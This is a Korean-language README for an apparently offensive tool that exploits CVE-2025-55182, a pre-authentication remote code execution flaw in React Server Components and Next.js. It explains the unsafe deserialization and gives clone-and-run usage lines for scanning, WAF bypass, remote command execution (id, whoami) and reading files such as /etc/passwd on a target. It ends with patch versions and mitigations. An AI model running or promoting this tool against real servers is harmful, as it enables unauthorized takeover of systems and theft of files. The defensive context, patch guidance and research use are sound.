
사전 인증 RCE 익스플로잇으로, CVE-2025-55182(React2Shell)를 대상으로 React Server Components를 공격합니다. 스캐닝, OAST 검증, WAF 우회, 명령 실행 및 파일 읽기 기능을 제공합니다.
React Server Components (RSC), Next.js 및 관련 프레임워크에서의 사전 인증 원격 코드 실행(RCE) 취약점
CVE-2025-55182(일명 React2Shell)은 React Server Components(RSC) 생태계에 영향을 미치는 심각한 사전 인증 RCE 취약점입니다. 인증되지 않은 공격자는 조작된 HTTP POST 요청 하나만으로 취약한 서버를 완전히 장악할 수 있습니다.
React Server Components는 함수 참조와 모듈 호출을 직렬화하기 위해 React Flight라는 사용자 정의 와이어 형식을 사용합니다. 이 취약점은 RSC 엔드포인트로 들어오는 POST 요청을 처리하는 페이로드 디코딩 메커니즘에 존재합니다.
서버가 React Flight 페이로드를 수신하면 적절한 검증 없이 콘텐츠를 역직렬화하며, 공격자가 제어하는 $$typeof 필드와 모듈 참조 해석을 신뢰합니다. 이로 인해 공격자는 다음을 수행할 수 있습니다.
child_process, fs, net)$F(함수) 타입 마커를 통한 함수 호출 체이닝
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H = 10.0 Critical
id, whoami)./etc/passwd, package.json).git clone https://github.com/SentinelXofficial/CVE-2025-55182
cd CVE-2025-55182
pip install -r requirements.txt
사용법
기본 스캔
python3 poc.py -t https://target.com
python3 poc.py -t https://target.com --timeout 15
python3 poc.py -t https://target.com --json
OAST로 RCE 검증
python3 poc.py -t https://target.com -m verify --oast your.oast.domain
전체 우회 테스트
python3 poc.py -t https://target.com -m bypass --verbose
명령 실행
python3 poc.py -t https://target.com -m exec --cmd "id"
python3 poc.py -t https://target.com -m exec --cmd "whoami" --timeout 20
파일 읽기
python3 poc.py -t https://target.com -m read --file "/etc/passwd"
python3 poc.py -t https://target.com -m read --file "/app/package.json"
프록시 사용(예: Burp Suite)
python3 poc.py -t https://target.com --proxy http://127.0.0.1:8080
파일 구조
CVE-2025-55182/
├── README.md
├── poc.py
├── requirements.txt
└── exploit/
├── __init__.py
├── payloads.py
├── scanner.py
├── bypass.py
└── rce.py
완화 방안
패치(권장)
npm install [email protected]
npm install [email protected] [email protected]
임시 대응 방안
· Server Functions("use server") 비활성화 · Content-Type: text/x-component 차단을 위한 WAF 규칙 · RSC 엔드포인트에 대한 네트워크 분리
참고 자료
· https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components · https://www.cve.org/CVERecord?id=CVE-2025-55182 · https://nvd.nist.gov/vuln/detail/CVE-2025-55182
면책 조항: 승인된 보안 테스트에만 사용하십시오.
작성자: SentinelX · https://t.me/SentinelXsecurity
| 패키지 | 취약 버전 | 패치 버전 |
|---|
react-server-dom-webpack | 19.0.0 – 19.2.0 | ≥ 19.2.1 |
react-server-dom-parcel | 19.0.0 – 19.2.0 | ≥ 19.2.1 |
react-server-dom-turbopack | 19.0.0 – 19.2.0 | ≥ 19.2.1 |
next (13.x) | 13.3.0 – 13.5.x | ≥ 14.2.35 |
next (14.x) | 14.0.0 – 14.2.34 | ≥ 14.2.35 |
next (15.x) | 15.0.0+ (패치 참조) | 패치된 릴리스 |